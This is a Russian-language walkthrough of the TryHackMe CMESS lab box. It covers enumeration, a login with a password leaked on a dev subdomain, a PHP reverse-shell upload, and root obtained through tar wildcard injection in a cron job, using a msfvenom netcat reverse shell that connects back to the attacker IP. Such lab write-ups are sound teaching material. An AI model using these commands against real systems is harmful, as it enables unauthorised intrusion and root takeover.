Прохождение CMESS от TryHackMe

Прохождение CMESS от TryHackMe

SHADOW:Group

Привет, сегодня пройдем неплохую коробку от TryHackMe под названием CMESS.

Получаем пользовательский флаг

Перво-наперво нам говорят добавить имя хоста в наш файл /etc/hosts.

nano /etc/hosts
10.10.162.213 cmess.thm

Что же, теперь можем приступать. Начнем по стандарту со сканирования с помощью nmap

nmap -Pn -sV -sC 10.10.162.213

Видим открытый 22 и 80 порты. Посмотрим веб-сервер и видим простую и довольно пустую домашнюю страницу:

http://10.10.162.213/

Пробуем gobuster и видим довольно много записей:

gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.10.162.213/ -x php,txt -t 30

Помимо каталогов, мы всегда должны искать любые поддомены, для этого я использовал инструмент под названием wfuzz:

wfuzz -c -f sub-fighter -w /usr/share/wfuzz/wordlist/general/common.txt -hw 290 -u "http://cmess.thm" -H "Host: FUZZ.cmess.thm"

Здесь мы видим доступный нам поддомен /dev. Добавим его в файл hosts, чтобы мы могли перейти к нему:

При переходе на найденный поддомен мы видим диалог между пользователем andre и службой поддержки. 

http://dev.cmess.htb

Просмотрев переписку, не трудно понять, что пользователю andre сбросили пароль и его новый пароль - KPFTN_f2yxe%

Вспоминаем, что gobuster выводил нам каталог /admin и пробуем использовать полученные нами данные для входа в админ панель.

Админ панель запрашивает у нас почту и пароль. Вводим andre@cmess.thm и пароль KPFTN_f2yxe% и вот мы внутри

Из вывода gobuster смотрим доступные для чтения каталоги. Видим каталог /assets. Переходим в него и пробуем загрузить php_reverse_shell.

Открываем файл и меняем IP и порт на наши:

Загружаем в папку /assets с помощью кнопки Upload

В терминале запускаем netcat:

nc -nlvp 1234

В браузере открываем:

http://cmess.thm/assets/php-reverse-shell.php

И получаем шелл. Видим что мы являемся пользователем www-root.

Пробуем повысить привелегии и запускаем LinEnum.sh на удаленной машине.

Обращаем внимание на доступный для чтение файл /opt/.password.bak

Смотрим его и содержимое и вуаля, получаем пароль пользователя andre

Подключаемся по ssh и получаем user.txt

ssh andre@10.10.162.213
cat user.txt

Получаем флаг root-пользователя

Снова запускаем LinEnum.sh и посмотрим, сможем ли мы сделать что-нибудь новое.

Просматривая наши результаты, видим задание cron, которое запускается от имени root каждые 2 минуты. Поскольку это задание tar выполняется с параметром подстановочного знака «*», мы можем использовать атаку Tar Wildcard Injection.

В терминале сгенерируем вредоносный код обратной оболочки netcat с помощью msfvenom и вводим для этого следующую команду.

msfvenom -p cmd/unix/reverse_netcat lhost=10.9.117.70
lport=8888

А также запустим netcat на прослушку:

nc -lnvp 8888

На удаленной машине переходим в директорию /home/andre/backup и вводим команду для эксплуатации, которую мы получили через msfvenom:

echo "mkfifo /tmp/wqpxy; nc 10.9.117.70 8888 0</tmp/wqpxy | /bin/sh >/tmp/wqpxy 2>&1; rm /tmp/wqpxy" > shell.sh

А также вводим две следующие команды:

echo "" > "--checkpoint-action=exec=sh shell.sh"
echo "" > --checkpoint=1

Приведенные выше команды помогают команде tar запустить файл shell.sh после того, как первый файл будет заархивирован. Поскольку команда tar запускается от имени пользователя root из-за crontab, это приводит к созданию оболочки netcat и ее отправке через порт 8888.

Ждем, пока cron запустит задание и получаем шелл от рута:

На этом все. Благодарю за просмотр!

Подпишись на канал - @shadow_group_tg

Report Page